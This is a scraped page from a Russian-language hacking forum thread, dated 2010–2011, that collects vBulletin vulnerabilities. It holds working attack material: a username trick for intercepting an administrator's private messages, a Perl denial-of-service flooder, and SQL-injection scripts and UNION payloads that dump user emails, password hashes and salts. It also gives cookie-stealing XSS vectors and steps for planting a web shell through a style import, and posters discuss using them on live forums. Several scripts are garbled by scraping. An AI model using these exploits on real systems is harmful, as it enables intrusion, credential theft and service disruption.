ANTICHAT
Страница 3 из 5 < 1 2 3 4 5 >
Показывать 40 сообщений этой темы на одной странице

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Уязвимости CMS / форумов (https://forum.antichat.xyz/forumdisplay.php?f=16)
-   -   [Обзор уязвимостей vBulletin] (https://forum.antichat.xyz/showthread.php?t=22852)

547 23.09.2010 11:31
================================================== =============

vBulletin 3.8.4 & 3.8.5 Registration Bypass Vulnerability

================================================== =============

Цитата:
Сообщение от None
01010101010101010101010101010101010101010101010101 0101010
0 0
1 Iranian Datacoders Security Team 2010 1
0 0
01010101010101010101010101010101010101010101010101 0101010
# Exploit Title: vBulletin 3.8.4 & 3.8.5 Around Registration Vulnerability
# Date: 29/08/2010
# Author: Immortal Boy
# Software Link: http://www.vbulletin.org
# Version: 3.8.4 & 3.8.5
# Google dork 1 : powered by vBulletin 3.8.4
# Google dork 2 : powered by vBulletin 3.8.5
# Platform / Tested on: Multiple
# Category: webapplications
# Code : N/A
# BUG : ################################################## #######################
1 > Go to Http://[localhost]/path/register.php
2 > Assume that forum admin user name is ADMIN
3 > Type this at User Name ===> ADMIN&#00
4 > &#00 is an ASCII Code
5 > And complete the other parameters
6 > Then click on Complete Registrarion
7 > Now you see that your user name like admin user name
After this time the private messages to the user (ADMIN) to sending see for you is sending .
# Patch : ################################################## #####################
1 > Go to AdminCP
2 > Click on vBulletin Options and choose vBulletin Options
3 > Choose Censorship Options
4 > type &# in Censored Words section
5 > Then click on Save
################################################## ###########################
Our Website : http://www.datacoders.ir
Special Thanks to : H-SK33PY , NEO , Sp|R|T , BigB4NG , 3r1ck , Dr.mute ,
hosinn , NIK , uones , mohammad_ir & all iranian datacoders members
################################################## ###########################
Цитата:
Сообщение от None
HIMIKAT:
Так же хочу добавить относительно данной уязвимости. После создания акка, а потом разлогивания. Снова под ним зайти не удастся, то есть снова придется регистрировать этот акк. Таков небольшой минус данной уязвимости.

himmi 28.09.2010 11:07
хм...

Цитата:
Сообщение от delasoul
непомагло
мне нужна получит права админа
можно получить. только если баг не пофиксен самим админом... действует для 3.8.4 и 3.8.5 (нужно регить админа под логином admin... не помню точно. полистай странички этой темы тут есть. только текст на инглише написан... выглядит как эксплоит...=) красота... а если быть точнее, то подними глаза на верх страницы. =) это он и есть... ADMIN&#00

delasoul 28.09.2010 17:18
Цитата:
Сообщение от None
1 > Go to AdminCP
2 > Click on vBulletin Options and choose vBulletin Options
3 > Choose Censorship Options
4 > type &# in Censored Words section
5 > Then click on Save
я что то не врубилься где добавит &#?

RAISh 28.09.2010 17:45
&#00

Вот эти 4 символа после ника добавляешь, к примеру есть на форуме ник test, ты хочешь такой же, пишешь при регистрации этот ник и в конце после ника добавляешь эти символы, и всё

delasoul 28.09.2010 18:20
Цитата:
Сообщение от RAISh
&#00
Вот эти 4 символа после ника добавляешь, к примеру есть на форуме ник test, ты хочешь такой же, пишешь при регистрации этот ник и в конце после ника добавляешь эти символы, и всё
я уже таки делал и зарегилса на имя администратора но там естъ &# куда это нужна пихать вот что я не понял!!! если бы внимательно читал!! всё била бы чотко!

RAISh 28.09.2010 19:20
Где &# это есть? Что пихать ? Ты сам понимаешь что пишешь ?

вставляешь символы после ника и всё, если есть уязвимость, значит зарегается нормально под ником админа, а если нету, то напишет что такой пользователь существует.

Я вот 1 не понимаю как её раскрутить уязвимость эту, к примеру залогиниться в панели админа под своим созданным ником ?

emillord 28.09.2010 19:27
Цитата:
Сообщение от delasoul
я уже таки делал и зарегилса на имя администратора но там естъ &# куда это нужна пихать вот что я не понял!!! если бы внимательно читал!! всё била бы чотко!
Это информация для админа как прикрыть дыру. Вам это не нужно.

delasoul 28.09.2010 19:42
Цитата:
Сообщение от RAISh
Где &# это есть? Что пихать ? Ты сам понимаешь что пишешь ?
вставляешь символы после ника и всё, если есть уязвимость, значит зарегается нормально под ником админа, а если нету, то напишет что такой пользователь существует.
Я вот 1 не понимаю как её раскрутить уязвимость эту, к примеру залогиниться в панели админа под своим созданным ником ?
4 > type &# in Censored Words section!!!!

Цитата:
Сообщение от emillord
Это информация для админа как прикрыть дыру. Вам это не нужно.
спасибо за ответ

himmi 29.09.2010 03:52
Цитата:
Сообщение от delasoul
я что то не врубилься где добавит &#?
Type this at User Name ===> ADMIN&#00

эта строчка для тебя если ломануть хочешь...

а если хочешь баг убрать, то добавь эти символы в админке в исключение. чтобы юзеры не могли с этими знаками региться...

InDuStRieS 30.09.2010 20:35
Цитата:
Сообщение от himmi
войди под админом и посмотри какие у тебя права будут. ищи возможность залить шел. сам лично не пробовал. точно сказать не могу. на днях собираюсь похакать кого-нибудь... если получится-опишу.
прав там не будет,с этой багой только ЛС будешь перехватывать.

RAISh 01.10.2010 10:28
и то не все сообщения

Т.к. при отправке через страницу профиля, сообщение будет только тому отправлятся, с чьего профиля отсылают

А если в строке ник нейма будут вводить ник, то появится оригинальный и ложный, которым ты создал, и если он выберет твой ложный ник, то придёт тебе сообщения, а так ники в списке одинаковые.

himmi 01.10.2010 13:05
Цитата:
Сообщение от RAISh
и то не все сообщения
Т.к. при отправке через страницу профиля, сообщение будет только тому отправлятся, с чьего профиля отсылают
А если в строке ник нейма будут вводить ник, то появится оригинальный и ложный, которым ты создал, и если он выберет твой ложный ник, то придёт тебе сообщения, а так ники в списке одинаковые.
к нику присваивается id?

GrandMaster 11.10.2010 10:44
Цитата:
Сообщение от farent12
Ребят, помогите, есть шеллы под этот форум, кто-что посоветует как быстро код вставить и куда?
/thread220278.html

SSSetuPPP 03.12.2010 15:17
[QUOTE="ph1l1ster"]
vBulletin® Version 3.8.2 Denial of Service Exploit​

Код:
#!usr/bin/perl
#vBulletin® Version 3.8.2 Denial of Service Exploit
#ea$y Laster
########################################################################
# Modules                                                              #
########################################################################
use IO::SOCKET;          # Object interface                          #
########################################################################
if (@ARGVvBulletin® Version 3.8.2);
    chomp($ziel =);
    if ($ziel eq""){
    die "$fehler\a\n";}
    print"$block\n";
      print"$block\n";
      print q(Path->);
      chomp($path =);
      if ($path eq "") {
      die "$fehler !\a\n";}
      print"$block\n";
          print"$block\n";
          print "Verwundbarkeit\n";
          print"forumdisplay.php?f=\n";
          print"->"n;
            chomp($vul =);
            if ($vul eq "") {
            die "$fehler !\a\n";}
            print"$block\n";
              print"$block\n";
              print q(Time->);
              chomp($flood =);
              if ($flood eq "") {
              die "$fehler !\a\n";}
                  print"$block\n";
                  print"$block\n";
                  print q(Port->);
                  chomp($port =);
                  if ($port eq ""){
                  die "$fehler \n";}
                  print"$block\n";
                    print q(Send "start"->);
                    chomp($start =);
                    if ($start eq "") {
                    die "$fehler\n";}
print "$block\a\n";
print "[+]Konntroliere Daten \n";
print "[*]Kontroliere Ziel  : $ziel\n";
print "[*]Kontroliere Board  : $path\n";
print "[*]Kontroliere Port  : $port\n";
print "$block\n";
if($start == 1){
while($x != 0000){
$x++;}
}elsif ($start == start){
while($x != $flood)
{
$postit = "$ziel"."$path"."$vul";
$lrg = length $postit;
$sock = new IO::Socket::INET (
                              PeerAddr => "$ziel",
                              PeerPort => "$port",
                              Proto => "tcp",
                              );

print $sock "POST $path$vul HTTP/1.1\n";
print $sock "Host: $ziel\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $ziel\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, "->BLACKOUTvBulletin® Version 3.8.2);
    chomp($ziel =);
    if ($ziel eq""){
    die "$fehler\a\n";}
    print"$block\n";
      print"$block\n";
      print q(Path->);
      chomp($path =);
      if ($path eq "") {
      die "$fehler !\a\n";}
      print"$block\n";
          print"$block\n";
          print "Verwundbarkeit\n";
          print"forumdisplay.php?f=\n";
          print"->"n;
            chomp($vul =);
            if ($vul eq "") {
            die "$fehler !\a\n";}
            print"$block\n";
              print"$block\n";
              print q(Time->);
              chomp($flood =);
              if ($flood eq "") {
              die "$fehler !\a\n";}
                  print"$block\n";
                  print"$block\n";
                  print q(Port->);
                  chomp($port =);
                  if ($port eq ""){
                  die "$fehler \n";}
                  print"$block\n";
                    print q(Send "start"->);
                    chomp($start =);
                    if ($start eq "") {
                    die "$fehler\n";}
print "$block\a\n";
print "[+]Konntroliere Daten \n";
print "[*]Kontroliere Ziel  : $ziel\n";
print "[*]Kontroliere Board  : $path\n";
print "[*]Kontroliere Port  : $port\n";
print "$block\n";
if($start == 1){
while($x != 0000){
$x++;}
}elsif ($start == start){
while($x != $flood)
{
$postit = "$ziel"."$path"."$vul";
$lrg = length $postit;
$sock = new IO::Socket::INET (
                              PeerAddr => "$ziel",
                              PeerPort => "$port",
                              Proto => "tcp",
                              );

print $sock "POST $path$vul HTTP/1.1\n";
print $sock "Host: $ziel\n";
print $sock "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\n";
print $sock "Referer: $ziel\n";
print $sock "Accept-Language: en-us\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "User-Agent: Mozilla/5.0 (BeOS; U; BeOS X.6; en-US; rv:1.7.8) Gecko/20070421 Firefox/2.0.0\n";
print $sock "Content-Length: $lrg\n\n";
print $sock "$postit\n";
close($sock);
syswrite STDOUT, "->BLACKOUT"n;
Может надо так?

Код:
print"->n";
p.s. кавычку не туда поставил...

[Ozzi] 04.12.2010 22:04
vBulletin 4.0.8 - Persistent XSS via Profile

vBulletin - Persistent Cross Site Scripting via Profile​


Versions Affected: 4.0.8 (3.8.* is not vulnerable.)

vBulletin is prone to a Persistent Cross Site Scripting vulnerability within the

Profile Customization feature. If this feature is not enabled the vulnerability

does not exist and the installation of vBulletin is thereby secure.

Within the profile customization fields, it is possible to enter colour codes,

rgb codes and even images. The image url() function does not sanitize user

input in a sufficient way causing vBulletin to be vulnerable to XSS attacks.

[1] Private Reflected XSS:

An attacker can inject scripts in a simple way, which is only visible to the attacker.

Proof of Concept:

url()

(This is only visible to the attacker when he or she is logged in, and browsing his or her own profile.)

[2] Global Reflected XSS:

An attacker can inject malicious CSS data executing javascript, which is then visible

to anyone browsing the user profile. Even guests visiting the malicious user profile.

Proof of Concept: (IE6 only, may not work in IE7+ and FF)



url(/);background:url(javascript:document.write(1337))

url(/);width:expression(alert('www.intern0t.net'))

Please note that some of these strings may be too long to be injected. However a

blog entry at Exploit-DB and a video on YouTube will be released very soon.

-:: Solution ::-

Turn off profile customization immediately for users able to customize their profile!

When a security patch has been provided by the vendor, enable this feature again.

Взято с www.exploit-db.com/exploits/15550/

A_n_d_r_e_i 10.12.2010 00:47
vBulletin Version 3.8.4 AdminCP

Стили и шаблоны-Сохранить/загрузить стили

загружаем стиль, в поле "Название для загруженного стиля"пишем

alert (document.cookie);

когда выберем на форуме последний загруженный стиль - увидим алерт и свои куки, так же как и в админке

Языки и фразы-Сохранить/загрузить языки

В поле "Название загружаемого языка" пишем alert (document.cookie);

"Перезаписать язык" выбираем "Создать новый"

выбираем файл языка, загружаем

идём по адресу http://ваш_форум и видим свои куки, алерт

Разделы и модераторы-Добавить раздел

в поля "Заголовок" и "Описание" пишем alert (document.cookie);

нажимаем "Сохранить"

Видим два алерта на главной, и один в админке по адресу Разделы и модераторы-Управление разделами(последний выполнился у меня в ие, в опере не было)

Основные настройки-Основные настройки, Название сайта / Ссылка / Контактная информация

в поле "Текст авторских прав" пишем alert (document.cookie);

нажимаем сохранить

на главной видим алерт

Объявления-Создать новое объявление

Раздел (будет добавлено и в подразделы) оставляем по-дефолту(Во всех разделах)

в поле "Заголовок" и поле "Текст" вбиваем alert (document.cookie);

нажимаем "Сохранить"

Заходим в любой раздел и видим алерт

Дополнительные поля профиля-Добавить дополнительное поле профиля

Тип поля профиля-Текстовое поле одной строкой, нажимаем "Продолжить"

в поле "Заголовок", "Значение по умолчанию" и "Описание" вставляем alert (document.cookie);

Какая страница отображает эту опцию? выбираем то, что вам подходит. я же выбрал "Редактировать данные"

Нажимаем "Сохранить"

по линку http://ваш_форум/profile.php?do=editprofile видим два алерта

foozzi 13.02.2011 18:32
vBulletin 3.8.6 Exploit

Код:
#!/usr/bin/perl
use strict;
use LWP::Simple;
use HTML::Parser;
use Data::Dumper;
my $url = shift @ARGV;
my $line;
die "No URL specified on command line." unless (defined $url);
my $url2 = "$url\/install\/vbulletin-language.xml";
my $content = get($url2); #put site html in $content.
die "get failed" if (!defined $content);

if ($content =~ m/database_ingo/) {
    $url2 = "$url\/faq.php\?s=\&do=search\&q=data\&match=all\&titlesonly=0";
    $content = get($url2);
    die "Get Failed" if (!defined $content);
    open(MYDATA, ">aaaaa.txt");
    print MYDATA $content;
    close MYDATA;
    open(NEDATA, ") {
            if ($line =~ m/Host:/) {
                $line =~ s/Database\//;
                $line =~ s/\//;
                print "$line\n";
            }
            if ($line =~ m/Username:/) {
                $line =~ s/Database//;
                $line =~ s///;
                print "$line\n";
            }
            if ($line =~ m/Password:/) {
                $line =~ s/Database//;
                $line =~ s///;
                print "$line\n";
            }
        }
    close NEDATA;
    unlink($url2);
} else {
print "Not vulnerable!\n";
};
_____________________________________________

How to use?

my $content = get($url2)

my $content = get('http://wowcewebsite.com/path/')

_____________________________________________*

foozzi 17.02.2011 20:50
Цитата:
Сообщение от NeW
Какаие есть уязвимости в 3.8.2, кроме DoS'а?
_http://www.exploit-db.com/shellcode/ сложно ведь правда поискать?

Slay90 22.02.2011 00:27
foozi не пашет

No URL specified on command line. at C:\perl\1.pl line 8.

Mr.Br0wn 27.02.2011 04:55
Slay90, поправь ошибку в 8-й строке скрипта

hatecore161 07.03.2011 13:41
EggAvatar for vBulletin 3.8.x SQL Injection Vulnerability

[PHP]
[COLOR="#000000"]#!/usr/bin/env perl

useLWP::UserAgent;

sub banner{

print"###################################\n";

print"############ DSecurity ############\n";

print"###################################\n";

print"# Email:dsecurity.vn[at]gmail.com #\n";

print"###################################\n";

}

if(@ARGVnew();

$ua->agent("DSecurity");

$ua->cookie_jar({});

sub login(@){

my $username=shift;

my $password=shift;

my $req=HTTP::Request->new(POST=>$ARGV[0].'/login.php?do=login');

$req->content_type('application/x-www-form-urlencoded');

$req->content("vb_login_username=$username&vb_login_passwor=$password&s=&securitytoken=1299342473-6b3ca11fdfd9f8e39a9bc69638bf32293bce4961&do=login& vb_login_md5password=&vb_login_md5password_utf=");

my $res=$ua->request($req);

}

sub v_request{

#Declare

$print=$_[0];

$select=$_[1];

$from=$_[2];

$where=$_[3];

$limit=$_[4];

$sleep=$ARGV[4];

if ($from eq'') {$from='information_schema.tables';}

if ($where eq'') {$where='1';}

if ($limit eq'') {$limit='0';}

if ($sleep eq'') {$sleep='10';}



# Create a request

my $req=HTTP::Request->new(POST=>$ARGV[0].'/eggavatar.php');

$req->content_type('application/x-www-form-urlencoded');

$req->content('do=addegg&securitytoken=1299342473-6b3ca11fdfd9f8e39a9bc69638bf32293bce4961&eggavatar =1'."' and (SELECT 1 FROM(SELECT COUNT(*),CONCAT( (select$selectfrom$fromWHERE$wherelimit$limit,1),FLOOR(RAND(1)*3))foo FROM information_schema .tables GROUP BY foo)a)-- -'&uid=1&pid=1");

# Pass request to the user agent and get a response back

my $res=$ua->request($req);

#print $res->content;

if($res->content=~ /(MySQL Error)(.*?)'(.*?)0'(.*)/)

{$test= $3};

sleep($sleep);

return$print.$test."\n";

}

&banner;

print"\n############################################### ################################################## ############\n";

print"# EggAvatar for vBulletin 3.8.x SQL Injecti on Vulnerability #\n";

print"# Date:06-03-2011 #\n";

print"# Author: DSecurity #\n";

print"# Software Link: http://www.vbteam.info/vb-3-8-x-addons-and-template-modifications/19079-tk-egg-avatar.html #\n";

print"# Version: 2.3.2 #\n";

print"# Tested on: vBulletin 3.8.0 #\n";

print"################################################# ################################################## ##########\n";



#login

login($ARGV[1],$ARGV[2]);

#Foot print

printv_request('MySQL version: ','@@version');

printv_request('Data dir: ','@@datadir');

printv_request('User: ','user()');

printv_request('Database: ','database()');

#Get user

for($i=1;$i[COLOR="#007700"]

DotNet 24.03.2011 19:21
Баг с хайдом

_ttp://ru-ua.ws/showthread.php?p=13674

Юзать:

http://site.ru/showthread.php?p=1&highlight=[HIDE

Фикс:

1. Открыть файл /includes/vS_HHR_Engine.php

2. После

[PHP]
[COLOR="#000000"][COLOR="#007700"]

Isis 19.04.2011 13:21
[QUOTE="DotNet"]
Баг с хайдом
_ttp://ru-ua.ws/showthread.php?p=13674
Юзать:
http://site.ru/showthread.php?p=1&highlight=[HIDE
Фикс:
1. Открыть файл /includes/vS_HHR_Engine.php
2. После
[PHP]
[COLOR="#000000"][COLOR="#007700"]

eclipse 05.05.2011 12:45
Активная XSS в модуле vBH New Tabs Options

vBH New Tabs Options - возможность вставки произвольного js кода на все страницы vBulletin 4.x.x

Уязвимость существует из-за отсутствия фильтрации при добавлении новых вкладок в главное навигационное меню, через указанный модуль.

Эксплойт, в поле со списком вкладок добавляем:

Цитата:
Сообщение от None
alert(/xss/)|1.php
Автор: eclipse

Примечание:

Чтобы заюзать уязвимость нужно обладать доступом в AdminCP.

FatalitY™ 08.05.2011 16:54
Vbulletin 4.0.2

Уязвимость: XSS.

Код:
================================= Vbulletin 4.0.2 XSS Vulnerability =================================  [+] Vbulletin 4.0.2 XSS Vulnerability  1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0 0 _ __ __ __ 1 1 /' \ __ /'__`\ /\ \__ /'__`\ 0 0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1 1 \/_/\ \ /' _ `\ \/\ \/_/_\_> Exploit database separated by exploit 0 0 \/___/ type (local, remote, DoS, etc.) 1 1 1 0 [+] Site : Inj3ct0r.com 0 1 [+] Support e-mail : submit[at]inj3ct0r.com 1 0 0 1 ###################################### 1 0 I'm 5ubzer0 member from Inj3ct0r Team 1 1 ###################################### 0 0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1  [+] Discovered By: 5ubzer0 [+] My id : http://inj3ct0r.com/author/2307 [+] Original : http://inj3ct0r.com/exploits/9697 # Version: Vbulletin 4.0.2  www.site.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query=">alert('xss'); www.site.com/path/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query=">alert(document.cookie);  Exemple: http://www.forumjogosonline.com.br/search.php?search_type=1&contenttype=vBBlog_BlogEntry&query=%22%3E%3Cscript%3Ealert(document.cookie);%3C /script%3E

infraud 23.05.2011 23:25
Работает на 4.0.x - 4.1.2, в 4.1.3 - пропатчено.

http://www.youtube.com/watch?v=fR9RGCqIPkc

Нужен аддон для ФФ4 - Live HTTP Headers - http://psp-mode.yolasite.com/resources/liveHTTPheadersFF4.xpi

PHP код:
[COLOR="#000000"][COLOR="#0000BB"][/COLOR][COLOR="#007700"]&[/COLOR][COLOR="#0000BB"]cat[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]UNION SELECT database[/COLOR][COLOR="#007700"]()[/COLOR][COLOR="#FF8000"]#

[/COLOR][COLOR="#007700"]&[/COLOR][COLOR="#0000BB"]cat[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]UNION SELECT table_name FROM information_schema[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]tables[/COLOR][COLOR="#FF8000"]#

[/COLOR][COLOR="#007700"]&[/COLOR][COLOR="#0000BB"]cat[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]0[/COLOR][COLOR="#007700"]]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]UNION SELECT concat[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]username[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x3a[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]email[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x3a[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]password[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]0x3a[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]salt[/COLOR][COLOR="#007700"])[/COLOR][COLOR="#0000BB"]FROM user WHERE userid[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#FF8000"]#

[/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]md5[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$pass[/COLOR][COLOR="#007700"]).[/COLOR][COLOR="#0000BB"]$salt[/COLOR][COLOR="#007700"])

[/COLOR][/COLOR] 

pharm_all 22.06.2011 04:30
/vb/search/searchtools.php

Код:
$id = $vbulletin->db->sql_prepare($id);
                if (is_array($id))
                {
Код:
function sql_prepare($value)
        {
                if (is_string($value))
                {
                        return "'" . $this->escape_string($value) . "'";
                }
                else if (is_numeric($value) AND $value + 0 == $value)
                {
                        return $value;
                }
                else if (is_bool($value))
                {
                        return $value ? 1 : 0;
                }
                else
                {
                        return "'" . $this->escape_string($value) . "'";
                }
        }
Меняем на это

Код:
function sql_prepare($value)
        {
                if (is_string($value))
                {
                        return "'" . $this->escape_string($value) . "'";
                }
                else if (is_numeric($value) AND $value + 0 == $value)
                {
                        return $value;
                }
                else if (is_bool($value))
                {
                        return $value ? 1 : 0;
                }
                else if (is_null($value))
                {
                        return "''";
                }
                else if (is_array($value))
                {
                        foreach ($value as $key => $item)
                        {
                                $value[$key] = $this->sql_prepare($item);
                        }
                        return $value;
                }
                else
                {
                        return "'" . $this->escape_string($value) . "'";
                }
        }
удачи!

абвгдешка 22.07.2011 12:29
Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day

Код:
# Google Dork: intitle: powered by Vbulletin 4
# Date: 20/07/2011
# Author: FB1H2S 
# Software Link: [http://www.vbulletin.com/]
# Version: [4.x.x]
# Tested on: [relevant os]
# CVE : [http://members.vbulletin.com/]
 
######################################################################################################
Vulnerability:
######################################################################################################
 
Vbulletin 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability in parameter "&messagegroupid" due to improper input validation.
 
#####################################################################################################
Vulnerable Code:
#####################################################################################################
 
File:    /vbforum/search/type/socialgroupmessage.php
Line No: 388
Paramater : messagegroupid
 
 
 
       
        if ($registry->GPC_exists['messagegroupid'] AND count($registry->GPC['messagegroupid']) > 0)
 
        {
 
            $value = $registry->GPC['messagegroupid'];
 
            if (!is_array($value))
 
            {
 
                $value = array($value);
 
            }
 
 
 
            if (!(in_array(' ',$value) OR in_array('',$value)))
 
            {
 
                if ($rst = $vbulletin->db->query_read("
 
                    SELECT socialgroup.name
 
                    FROM " . TABLE_PREFIX."socialgroup AS socialgroup
 
--->                WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")
 
               
            }
 
 
 
############################################################################################
Exploitation:
############################################################################################
Post data on: -->search.php?search_type=1
          --> Search Single Content Type
 
Keywords :  Valid Group Message
 
Search Type : Group Messages
 
Search in Group : Valid Group Id
 
&messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#
 
##########################################################################################
More Details:
##########################################################################################
Http://www.Garage4Hackers.com
http://www.garage4hackers.com/showthread.php?1177-Vbulletin-4.0.x-gt-4.1.3-(messagegroupid)-SQL-injection-Vulnerability-0-day
 
 
###########################################################################################
Note:
###########################################################################################
 
Funny part was that, a similar bug was found in the same module, search query two months back. Any way Vbulletin has released a patch as it was reported to them by altex, hence
customers are safe except those lowsy Admins. And this bug is for people to play with the many Nulled VB sites out there. " Say No to Piracy Disclosure ".

DeleTeeeX 08.08.2011 22:21
cChatBox for vBulletin 3.6.8 and 3.7.x SQL Injection Vulnerability

Код:
#!/usr/bin/perl
use LWP::UserAgent;
$ua = LWP::UserAgent->new;
$ua->agent("MyApp/0.1 ");
print "##################################\n";
print "############ EXPLOIT #############\n";
print "##################################\n";
print "## Portal: cchatbox            ##\n";
print "## Bug: SQLI                    ##\n";
print "## Author: DSecurity            ##\n";
print "## Coder: vv0lll                ##\n";
print "##################################\n";
   
print "Use: exploit.pl address number_user sleeptime\n";
print "Example: exploit.pl http://localhost/vbb 10 10\n";
if(@ARGV new(POST => $ARGV[0].'/cchatbox.php');
    $req->content_type('application/x-www-form-urlencoded');
    $req->content('do=edit&messageid=0 and (SELECT 1 FROM(SELECT COUNT(*),CONCAT((select '.$select.' from '.$from.' WHERE '.$where.' limit '.$limit.',1),FLOOR(RAND(1)*3))x FROM information_schema.tables GROUP BY x)a)');
 
    # Pass request to the user agent and get a response back
    my $res = $ua->request($req);
    #print $res->content;
    if($res->content =~ /(MySQL Error)(.*?)'(.*?)0'(.*)/)
    {$test = $3};
    sleep($sleep);
    return $print.$test."\n";
}

Expl0ited 17.08.2011 22:51
Цитата:
Сообщение от Cherep
можно ли залить шелл, не имея прав на файл plugins.php(файл через который добавляют модули), и не имея возможности залить запихать смайлы?
Цитирую 525:

Цитата:
Сообщение от None
Заливка шелла в vBulletin.
1.AdminCP>Styles & Templates>Download / Upload Styles
2.Вибираєм наш шелл в .xml , Ignore Style Version - YES > Import
3.Обратно к Style Manager кликаем по загруженном файлу и видим наш шелл
шелл :
http://pastebin.com/ybZqXiDH
Источник:http://insecurity.ro/blog/shelling-vbulletin-4-0-x-3-8-x-xml/

-morfiy- 19.08.2011 07:25
vBulletin 4.0.0-4.0.2 YaAS (yet another award system) XSS Vulnerability

Код:
vBulletin 4.0.0-4.0.2 YaAS (yet another award system) XSS Vulnerability=======================================================================
vBulletin 4.0.0-4.0.2 YaAS (yet another award system) XSS Vulnerability
=======================================================================

# Exploit Title: vBulletin 4.0.0-4.0.2 YaAS 4.0.0 (yet another award system) XSS

# Date: 2010-05-13

# Author: Un-Dead

# Team: eX.ploit ( http://ex.ploit.net )

# Software Link: http://www.vbulletin.org/forum/showthread.php?t=232684&amp;highlight=yet+another+award+system

# Google Dork: inurl: recommend_award.php?award_id=1

# Version: vBulletin 4.0.0 thru 4.0.2 using YaAS v4.0.0 (This has now been updated too 4.0.1 and does not work on the updated version)

# Tested on: Windows XP SP3, KDE3.5 vBulletin with HTML turned off

# Usage: XSS

# Code:

This will only work if the administrator has opted to set the ?recommend this award? to create a new poll somewhere in the forum (admin area is even better for cookie stealing J)

Again this will not work on the latest update of YaAS but it will work on YaAS 4.0.0

Click awards tab, chose recommend this award. In the member name just type something doesent really matter.

In the body put your xss

&lt;script&gt;alert(‘xss’);&lt;/script&gt;

The infected page will be the poll that was created.

If the admin does not have the ?create new poll? enabled this eX.ploit is useless.

# Inj3ct0r.com [2010-05-13]var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src=’" + gaJsHost + "google-analytics.com/ga.js’ type=’text/javascript’%3E%3C/script%3E"));try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}

-morfiy- 24.08.2011 20:22
vBulletin 4.1.3pl3 / 4.1.4pl3 / 4.1.5pl1 Cross Site Scriptin

vBulletin 4.1.3pl3 / 4.1.4pl3 / 4.1.5pl1 Cross Site Scriptin

Posted on 04 August 2011

*Advisory Information* Title: vBulletin Cross Site Scripting Vulnerability Date published: 02-08-2011 Vendors contacted: vBulletin team *Vulnerability Information* Class: XSS flaw Vulnerable page: Admin Login Page (admincp) Remotely Exploitable: Yes Locally Exploitable: No *Vulnerability Description* vBulletin is a community forum solution for a wide range of users, including industry leading companies. A XSS vulnerability has been discovered that could allow an attacker to carry out an action impersonating a legal user, or to obtain access to a user's account. This flaw allows unauthorized disclosure and modification of information, and it allows disruption of service. *Vulnerable versions* 4.1.3pl3, 4.1.4pl3 & 4.1.5pl1 *Non-vulnerable Packages* . vBulletin prior to 4.1.3 *Vendor Information, Solutions and Workarounds* vBulletin team has released patches for this flaw and patch is released on 02-08-2011. https://www.vbulletin.com/forum/showthread.php/385133-vBulletin-4.1.3-4.1.4-and-4.1.5-Security-Patch *Credits* This vulnerability was discovered by Muhammad Haroon from Innovative Solutions KSA. OWASP Chapter Lead of Pakistan. haroon [at] live [dot] it *Proof of Concept Code* This is a Cross Site Scripting (XSS) vulnerability within vBulletin community forum solution. In order to exploit this flaw following vector would be used. http://www.example.com/forums/admincp/?">alert('Xss_found_By_M.Haroon') *Report Timeline* 30-07-2011: Notifies the vBulletin team about the vulnerability. 31-07-2011: vBulletin Team ask for technical description about the flaw 31-07-2011: Technical Details sent to vbulletin team 02-08-2011: vBulletin notifies that a fix has been produced and is available to the users on 2nd August 2011 03-08-2011: Vulnerability publicly disclosed.

-morfiy- 26.08.2011 19:49
Если кому нужно, то вот так можно узнать версию форума:

http://xxxx.xxx/archive/archive.css ну или так:

http://xxxx.xxx/cpstyles/global.css

На самом деле вариантов много

TYPUCT 14.09.2011 01:04
Цитата:
Сообщение от BLurpi^_^
